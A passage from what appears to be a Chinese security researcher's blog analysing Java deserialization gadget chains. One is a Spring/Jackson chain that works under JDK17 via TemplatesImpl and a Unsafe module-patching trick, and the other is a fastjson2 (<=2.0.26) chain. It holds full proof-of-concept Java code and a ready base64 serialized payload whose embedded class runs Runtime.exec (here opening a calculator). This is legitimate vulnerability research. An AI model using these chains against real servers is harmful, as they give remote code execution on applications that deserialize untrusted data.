            field.setAccessible(true);
            Unsafe unsafe = (Unsafe) field.get(null);
    
            long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
    
            Module targetModule = Object.class.getModule();
            unsafe.getAndSetObject(clazz, offset,targetModule);
        }
    
        private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        private static Object getObject(Class clazz) throws Exception{
            Constructor constructor = clazz.getConstructor();
            constructor.setAccessible(true);
            Object impl = constructor.newInstance();
            return impl;
        }
    }
    

    运行成功弹出计算机,并且再次调试情况如下:

    图片.png

    代理类这些都是正常的可以使用的,故这里不会触发模块化机制报错退出。

    最后在JdkDynamicAopProxy类的invoke()方法从而成功调用到要invokeJoinpointUsingReflection()方法:

    图片.png

    这里有个ReflectionUtils.makeAccessible(method)值得注意:

    图片.png

    所以其实这里的调用就是相当于TemplatesImpl.getOutputProperties(),这个是可以直接调用不会触发强封装机制。

    但是后面在尝试构造最后的poc时,序列化总是有问题,后面看调用栈才发现是修改类方法时自己忘了toClass(),所以可以构造如下:

    //修改类方法
            CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            ctClass.removeMethod(ctClass.getDeclaredMethod("writeReplace"));
            ctClass.toClass();
    

    但是还是报错如下:

    Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @673bfdf3
        at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
        at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
        at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
        at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
        at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159)
        at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213)
        at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52)
        at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
        at javassist.ClassPool.toClass(ClassPool.java:1240)
        at javassist.ClassPool.toClass(ClassPool.java:1098)
        at javassist.ClassPool.toClass(ClassPool.java:1056)
        at javassist.CtClass.toClass(CtClass.java:1298)
        at Main.main(Main.java:47)
    

    可以看到还是因为模块化的原因,toClass()中调用的位于java.lang包下的defineClass方法没有对外开放,导致这里不能成功,但是我们又不能像正常的反射那样修改CtMethod,根本就没有类似setAccessible()的代码构造,但是还可以添加vm配置,通过--add-opens来允许java.lang包开放给未命名的包,这样就可以正常toClass()了,故如下添加即可:

    图片.png

    添加如下内容:

    --add-opens=java.base/java.lang=ALL-UNNAMED
    

    图片.png

    为了方便只在反序列化时弹出计算机,将反序列化的入口类改成了EventListenerList类,最后的poc如下:

    import javassist.*;
    import org.springframework.aop.framework.AdvisedSupport;
    import sun.misc.Unsafe;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.Base64;
    import java.util.Vector;
    import com.fasterxml.jackson.databind.node.POJONode;
    import javax.swing.event.EventListenerList;
    import javax.swing.undo.UndoManager;
    import javax.xml.transform.Templates;
    
    public class Main {
        public static void main(String[] args) throws Exception {
            patchModule(Main.class);
            //part1
            ClassPool classPool = ClassPool.getDefault();
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
            cc.makeClassInitializer().insertBefore(cmd);
    
            byte[] classBytes = cc.toBytecode();
            //part2
            CtClass cc1 = classPool.makeClass("Evil1");
            cc1.makeClassInitializer().insertBefore(cmd);
    
            byte[] classBytes1 = cc1.toBytecode();
    
            byte[][] code = new byte[][]{classBytes,classBytes1};
    
            //main
            Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
            Object impl = getObject(clazz);
    
            setFieldValue(impl,"_name","fupanc");
            setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
            setFieldValue(impl,"_bytecodes",code);
            setFieldValue(impl,"_transletIndex",0);//0或者1都可以
    
            //修改类方法
            CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
            ctClass.removeMethod(ctMethod);
            ctClass.toClass(Main.class.getClassLoader(), null);
    
            //设置代理
            AdvisedSupport advisedSupport = new AdvisedSupport();
            advisedSupport.setTarget(impl);
            Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
            constructor.setAccessible(true);
            Object proxyAop = constructor.newInstance(advisedSupport);
            Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler) proxyAop);
    
            POJONode node = new POJONode(proxy);
    //        System.out.println("POJONode的:"+node.getClass().getModule());
    //        System.out.println("jdk的:"+Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getModule());
    
            UndoManager undo = new UndoManager();
            Object[] x = new Object[]{String.class, undo};
    
            EventListenerList listenerList = new EventListenerList();
            setFieldValue(listenerList, "listenerList", x);
    
            Vector vector = (Vector) getFieldValue(undo, "edits");
            vector.add(node);
    
            ByteArrayOutputStream bais = new ByteArrayOutputStream();
            ObjectOutputStream out = new ObjectOutputStream(bais);
            out.writeObject(listenerList);
            out.close();
            System.out.println(Base64.getEncoder().encodeToString(bais.toByteArray()));
    
        }
        private static void patchModule(Class clazz) throws Exception {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            Unsafe unsafe = (Unsafe) field.get(null);
    
            long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
    
            Module targetModule = Object.class.getModule();
            unsafe.getAndSetObject(clazz, offset,targetModule);
        }
    
        private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        private static Object getObject(Class clazz) throws Exception{
            Constructor constructor = clazz.getConstructor();
            constructor.setAccessible(true);
            Object impl = constructor.newInstance();
            return impl;
        }
        public static Object getFieldValue(Object obj, String fieldName) throws Exception {
            Class clazz = obj.getClass();
    
            while (clazz != null) {
                try {
                    Field field = clazz.getDeclaredField(fieldName);
                    field.setAccessible(true);
    
                    return field.get(obj);
                } catch (Exception e) {
                    clazz = clazz.getSuperclass();
                }
            }
            return null;
        }
    }
    

    然后将运行生成的payload拿去反序列化:

    import java.io.ByteArrayInputStream;
    import java.io.ObjectInputStream;
    import java.util.Base64;
    
    public class Test {
        public static void main(String[] args) throws Exception {
            String base64Payload = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0ABBqYXZhLmxhbmcuU3RyaW5nc3IAHGphdmF4LnN3aW5nLnVuZG8uVW5kb01hbmFnZXLxfp8dCCrCHQIAAkkADmluZGV4T2ZOZXh0QWRkSQAFbGltaXR4cgAdamF2YXguc3dpbmcudW5kby5Db21wb3VuZEVkaXSlnlC6U9uV/QIAAloACmluUHJvZ3Jlc3NMAAVlZGl0c3QAEkxqYXZhL3V0aWwvVmVjdG9yO3hyACVqYXZheC5zd2luZy51bmRvLkFic3RyYWN0VW5kb2FibGVFZGl0CA0bju0CCxACAAJaAAVhbGl2ZVoAC2hhc0JlZW5Eb25leHABAQFzcgAQamF2YS51dGlsLlZlY3RvctmXfVuAO68BAwADSQARY2FwYWNpdHlJbmNyZW1lbnRJAAxlbGVtZW50Q291bnRbAAtlbGVtZW50RGF0YXQAE1tMamF2YS9sYW5nL09iamVjdDt4cAAAAAAAAAABdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAZHNyACxjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5QT0pPTm9kZQAAAAAAAAACAgABTAAGX3ZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHIALWNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlZhbHVlTm9kZQAAAAAAAAABAgAAeHIAMGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLkJhc2VKc29uTm9kZQAAAAAAAAABAgAAeHBzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIABFoADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDtbABFwcm94aWVkSW50ZXJmYWNlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAVaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnN0ABBMamF2YS91dGlsL0xpc3Q7TAAKaW50ZXJmYWNlc3EAfgAcTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcQB+ACIAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXRxAH4ADnhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AGEwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAFgyv66vgAAADcAGQEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEABjxpbml0PgwAFgAICgAEABcAIQACAAQAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAWAAgAAQAJAAAAEQABAAEAAAAFKrcAGLEAAAAAAAEABQAAAAIABnVxAH4ALgAAAWLK/rq+AAAANwAZAQAFRXZpbDEHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACkV2aWwxLmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAAY8aW5pdD4MABYACAoABAAXACEAAgAEAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAFgAIAAEACQAAABEAAQABAAAABSq3ABixAAAAAAABAAUAAAACAAZwdAAGZnVwYW5jcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAN2cgAjb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuU3ByaW5nUHJveHkAAAAAAAAAAAAAAHhwdnIAKW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkAAAAAAAAAAAAAAB4cHZyAChvcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuRGVjb3JhdGluZ1Byb3h5AAAAAAAAAAAAAAB4cHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHgAAAAAAAAAZHB4" ;
            ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64Payload)));
            oos.readObject();
            oos.close();
        }
    }
    

    成功弹出计算机:

    图片.png

    ————————

    这样的话应该还可以在jdk17下打fastjson的链子,但是都是需要在spring环境下。

    总结

    • 了解到了TemplatesImpl下的动态加载字节码的新思路(虽然可能已经比较早提出了)
    • 动态代理的利用还值得挖掘(可惜环境有限制)。

    其实这里分析是带着答案找问题,将链子的过程中的坑点给填了,学到了很多,如有问题欢迎指正。

    参考文章:

    https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6

    https://fushuling.com/index.php/2025/08/21/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be/

    https://docs.oracle.com/en/java/javase/17/docs/api/java.xml/module-summary.html

    https://blog.csdn.net/weixin_37646636/article/details/120530053

    fastjson2下的反序列化调用链分析

    前言

    在前面fastjson1下的反序列化调用链分析中,简单提到过fastjson2下的反序列化调用链,但是当时fastjson2的能打的版本为<=2.0.26。现在先来具体看看这个版本下的调试分析。

    Fastjson2<=2.0.26调试分析

    依赖版本改成如下即可:

    <!-- <https://mvnrepository.com/artifact/com.alibaba/fastjson> -->
        <dependency>
          <groupId>com.alibaba</groupId>
          <artifactId>fastjson</artifactId>
          <version>2.0.26</version>
        </dependency>
    

    当时使用的poc如下:

    package org.example;
    
    import javax.management.BadAttributeValueExpException;
    import com.alibaba.fastjson.JSONObject;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import java.io.*;
    import java.lang.reflect.Field;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            //使用javassist定义恶意代码
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc",templates);
    
            BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
            Field field = bad.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(bad, jsonObject);
    
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
            out.writeObject(bad);
            out.close();
    
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
            in.readObject();
            in.close();
    
        }
    
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    运行即可弹出计算机。

    其实主要的点还是在于调用toString()方法,直接将代码改简单些来调试分析一下流程:

    package org.example;
    
    import com.alibaba.fastjson.JSONObject;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import java.lang.reflect.Field;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            //使用javassist定义恶意代码
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc",templates);
            jsonObject.toString();
        }
    
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    直接打断点于getOutputProperties()方法:

    图片.png

    调试直接成功断在这里,此时的调用栈为:

    getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
    write:-1, OWG_1_3_TemplatesImpl (com.alibaba.fastjson2.writer)
    write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
    toJSONString:2388, JSON (com.alibaba.fastjson2)
    toString:1028, JSONObject (com.alibaba.fastjson)
    main:32, Main (org.example)
    

    朴实无华,但是从中还是可以看到之前fastjson1分析下的一些影子,比如:

    图片.png

    很熟悉的获取ObjectWriter相关类并调用它的write()方法来进行序列化。

    现在来跟一下具体细节,看一下对序列化类的处理逻辑。

    打断点于toString()方法:

    图片.png

    这里的JSONWriter的Feature是一个枚举类型的类:

    图片.png

    里面就有我们获取的定义在这个类中的ReferenceDetection值。

    后面发现JSONObject类在fastjson2中其实有两个:

    图片.png

    在前面我们都是使用的fastjson1的JSONObject来分析,两个都能弹,并且其实调试下来最终的调用方法是一样的,这里就直接调试分析fastjson2的JSONObject过程了,直接在import处将代码改成fastjson2即可。然后打断点调试,直接断于JSONObject类的toString()方法:

    图片.png

    跟进这个JSONWriter类的of()方法:

    图片.png

    最后也是返回了这个jsonWriter变量,现在来看看createWriteContext()的调用获取情况以及JSONWriterUTF16JDK8类的实例化情况,后续会用到类中的变量,要搞清楚对应变量的赋值以及调用,重新调试单击进入JSONFactory类的createWriteContext()方法:

    图片.png

    这里的defaultObjectWriterProvider是静态的直接默认的变量:

    图片.png

    继续跟进JSONWriter类的内部类Context类的初始化:

    图片.png

    也就是将features赋值为0,然后将参数传递的ObjectWriterProvider类的实例化对象赋值给了provider。

    最后返回了这个Context类,然后一直返回,回到JSONWriterUTF16JDK8类的初始化:

    图片.png

    继续往父类初始化:

    图片.png

    继续往父类看:

    图片.png

    初始化情况如上,这里的JSONWriter应该是一个和json序列化相关的类。在这个JSONWriter类初始化完毕后,回到其子类JSONWriterUTF16的初始化:

    图片.png

    这里的chars需要关注,后面要提到。可以看到这里的cachedIndex为1,跟进调用的JSONFactory类的allocateCharArray()方法:

    图片.png

    可以看到直接静态设置了几个变量,如这里非常重要的CHAR_ARRAY_CACHE,这是一个二维数组,但是并没有定义值,所以CHAR_ARRAY_CACHE[cacheIndex]的值为null,从而将这个chars值设置为8192个下表的数组,并且最后返回了这个数组。

    而后这个char数组的内容都是默认的占位符吧应该是:

    图片.png

    后续会提到,这里就先继续调试跟着走。

    ——————

    回到JSONWriter类的of()方法,最后是返回了这个实例化的JSONWriterUTF16JDK8类:

    图片.png

    然后应该是设置了要序列化的类:

    图片.png

    跟进setRootObject()方法:

    图片.png

    效果如上,然后就是调用了JSONWriterUTF16JDK8类的write()方法来进行序列化,同样是传参传入了JSONObject类,对于这里的write()方法,关键的地方在于:

    图片.png

    这里调用了迭代器来获取我们存储在JSONObject中的键值对:

    图片.png

    然后继续往后面走,可以看到序列化key的地方:

    图片.png

    当调用了writeString()方法后,这里的chars的值就更改了,这里的writeString()方法就不跟进了,关键点如下:

    图片.png

    数组的一个copy操作,将value的值copy进chars中。

    继续回到JSONWriterUTF16类的write()方法,后续就可以看到对value进行了处理:

    图片.png

    并且对其进行了获取Class处理并对比,如下一些class对象:

    String.class
    Integer.class
    Long.class
    Boolean.class
    BigDecimal.class
    JSONArray.class
    JSONObject.class
    

    毫无疑问都不是和TemplatesImpl相关的,所以最后是到了如下代码:

    图片.png

    非常熟悉的代码了,就是对TemplatesImpl类进行序列化处理。

    跟进Context类的getObjectWriter()方法:

    图片.png

    可以看到是接收的Type和Class对象的参数,但是传参可以看出来是都传的Class类型的,其实就是因为Class类实现了Type接口而已:

    图片.png

    然后会调用ObjectWriterProvider类的getObjectWriter()方法:

    图片.png

    代码如下:

    图片.png

    毫无疑问当时赋值时就没有对cache作任何处理,并且这个变量是一个final初始化的一个默认的变量,故不能从cache中获取到TemplatesImpl.class的序列化处理类。后面的重点代码如下:

    图片.png

    前面经过一系列处理,都找不到对应的TemplatesImpl类的,这里就会创建一个序列化类用于序列化相关的类,其次可以看到当成功创建了类过后,就会调用putIfAbsent()方法以键值对的形式放进到cache中,以便后续再次序列化相关类时直接通过get()获取,最后是返回了这个objectWriter序列化类。

    跟进getCreator()方法:

    图片.png

    最后是会返回这个creator变量,这个变量的赋值在类的初始化阶段就完成了,这里简单提一下: 在前面关于ObjectWriterProvider类的初始化,我们是直接调用的无参构造函数:

    图片.png

    这里就涉及到了有关creator的赋值,调试效果如下:

    图片.png

    这里的JSONFactory类的常量CREATOR赋值在JSONFactory类的static语句中:

    图片.png

    所以会直接进入到default语句中从而给creator赋值为ObjectWriterCreatorASM类实例:

    图片.png

    并且将变量classloader赋值为了DynamicClassLoader类实例:

    图片.png

    跟进原先的DynamicClassLoader.getInstance(),就是直接获取instance:

    图片.png

    很符合前面ObjectWriterCreatorASM类初始化变量赋值的条件。

    回到ObjectWriterProvider类的getObjectWriter()方法:

    图片.png

    故会调用ObjectWriterCreatorASM类的createObjectWriter()方法,并且在成功创建后会将其以键值对的形式放入到cache中,以便后续再次调用,并且最后也是返回了创建的objectWriter。跟进ObjectWriterCreatorASM类的createObjectWriter()方法,后续比较关键的就是对于method中的getter的处理,如下代码:

    图片.png

    这里会先调用BeanUtils类的getters()方法,关键在于如下:

    图片.png

    先从methodCache中查看是否有缓存的method,没有的话就会调用getMethods()方法来获取到对应类的public方法并将其放入到methodCache中,后续对获取到的方法进行了处理,调用的for循环进行的获取来判断如上图,关键的地方在如下:

    图片.png

    可以看到是处理了getter方法,一般getter的长度都会大于3,所以这里的nameMatch肯定为true,然后进行了判断,就是取methodName的第四个字母进行判断,要是在a到z之间并且methodName长度为4,就赋值为false,但是从后面逻辑来看这里是需要nameMatch为true的,不然就会continue,并且从这个条件来看也是不容易满足的。

    在这里获取到对应的getter方法后,继续往后看,会获取getter方法对应的fileName:

    图片.png

    再然后就会创建序列化类了:

    图片.png

    此时的调用栈为:

    createFieldWriter:887, ObjectWriterCreator (com.alibaba.fastjson2.writer)
    lambda$createObjectWriter$2:377, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
    accept:-1, 215219944 (com.alibaba.fastjson2.writer.ObjectWriterCreatorASM$$Lambda$14)
    getters:1010, BeanUtils (com.alibaba.fastjson2.util)
    createObjectWriter:252, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
    getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)
    getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)
    write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)
    toString:1090, JSONObject (com.alibaba.fastjson2)
    main:33, Main (org.example)
    

    继续跟进createFieldWriter的实现:

    图片.png

    比较关键的就是这一部分的getInitWriter()方法的调用,由于参数传递,这里的initObjectWriter为null,这段代码先试获取了方法的返回值的类型,然后跟进getInitWriter()的调用:

    图片.png

    就是判断返回值的Class对象是否符合上述几个Class对象,不符合的话就返回null,而返回null会让后续代码根据返回值的Class对象从而来实例化对应的writer类:

    图片.png

    比如我这里调试判断的就是getTransletIndex()方法,返回值为int类型,故如上图会实例化FieldWriterInt32Method类,最后将其放入到fieldWriterMap变量中:

    图片.png

    然而由于我们想要利用的getOutputProperties()方法的返回对象为class java.util.Properties,没有匹配的类,故直接使用的Object类型来进行的调用:

    图片.png

    再然后可以看到fieldWriterMap的值发生了变化:

    图片.png

    一切都是有规律的。

    这里需要提到一个点,这里的”fieldWriter“类的最终父类都是FieldWriter类,并且在传参时都是给这个父类的值进行赋值,在这里我们需要注意到其中存在一个变量的更替,以getOutputProperties()方法的过程为例:

    图片.png

    可以看到会对父类进行传参,需要注意这里的类中时自定义了一个变量,field:null,并且其他如前面提到的FieldWriterInt32Method类也是这样的,这个后续有大用,然后就是一直跟进到最顶父类的赋值:

    图片.png

    ——

    故事的最后,我们如约获取到了对应的三个getter方法:

    图片.png

    然后将其转换对象赋值给了fieldWriters并在sort()代码部分进行了重新排序。

    前面讲了关于getter方法的处理,其实就是处理一下public的field,从而方便调用它的getter方法。再往后看,就是我们需要的objectWriter类的实例化了:

    图片.png

    可以看到定义了类名,在多次调试过程中经常出现它的名字,这里也是找到了出处,然后找了包名,这里就是为在内存中生成这个类做准备,定义了类名以及所出包的位置。再后续呢,就是往类中定义了一些方法,然后是<u>实例化了这个类作为objectWriter并返回</u>:

    图片.png

    这里的诸如genMethodWriteJSONB()方法往OWG_1_3_TemplatesImpl类中去定义方法内的代码,这里的对应情况如下:

    调用的方法 实现的OWG_1_3_TemplatesImpl类中的方法
    genMethodWriteJSONB() writeJSONB()
    genMethodWrite() write()
    genMethodWriteArrayMapping() writeArrayMapping()

    调试中发现其实在类中定义的这几个方法都可以调用到那几个getter方法,大致流程是差不多的,这里就讲讲write()定义的流程,同时可以搞清楚我们前面弄了这么久的fieldWriters起到了什么作用

    跟进genMethodWrite()方法:

    图片.png

    可以看到定义的方法名称,直接跟进fieldWriters的处理方式:

    图片.png

    调用了for循环来对fieldWriters中存储的序列化类进行处理,跟进gwFieldValue()方法:

    图片.png

    会获取到filterWriter的fieldClass,然后进行类型判断:

    图片.png

    最后还是调用gwFieldValueObject()方法,跟进这个方法中的genGetObject()方法:

    图片.png

    关键点来了,由于赋值时fieldWriter.field肯定为null,也就是前面提到的,所以这里会将member赋值为对应的getter方法,从而顺理成章调用到visitMethodInsn()方法从而可以往OWG_1_3_TemplatesImpl类的write()方法中写入调用对应getter方法的代码,其他的fieldWriter同理,由于for循环,故流程都是这个,调用栈为:

    genGetObject:3339, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
    gwFieldValueObject:1840, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
    gwFieldValue:1758, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
    genMethodWrite:722, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
    createObjectWriter:554, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
    getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)
    getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)
    write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)
    toString:1090, JSONObject (com.alibaba.fastjson2)
    main:33, Main (org.example)
    

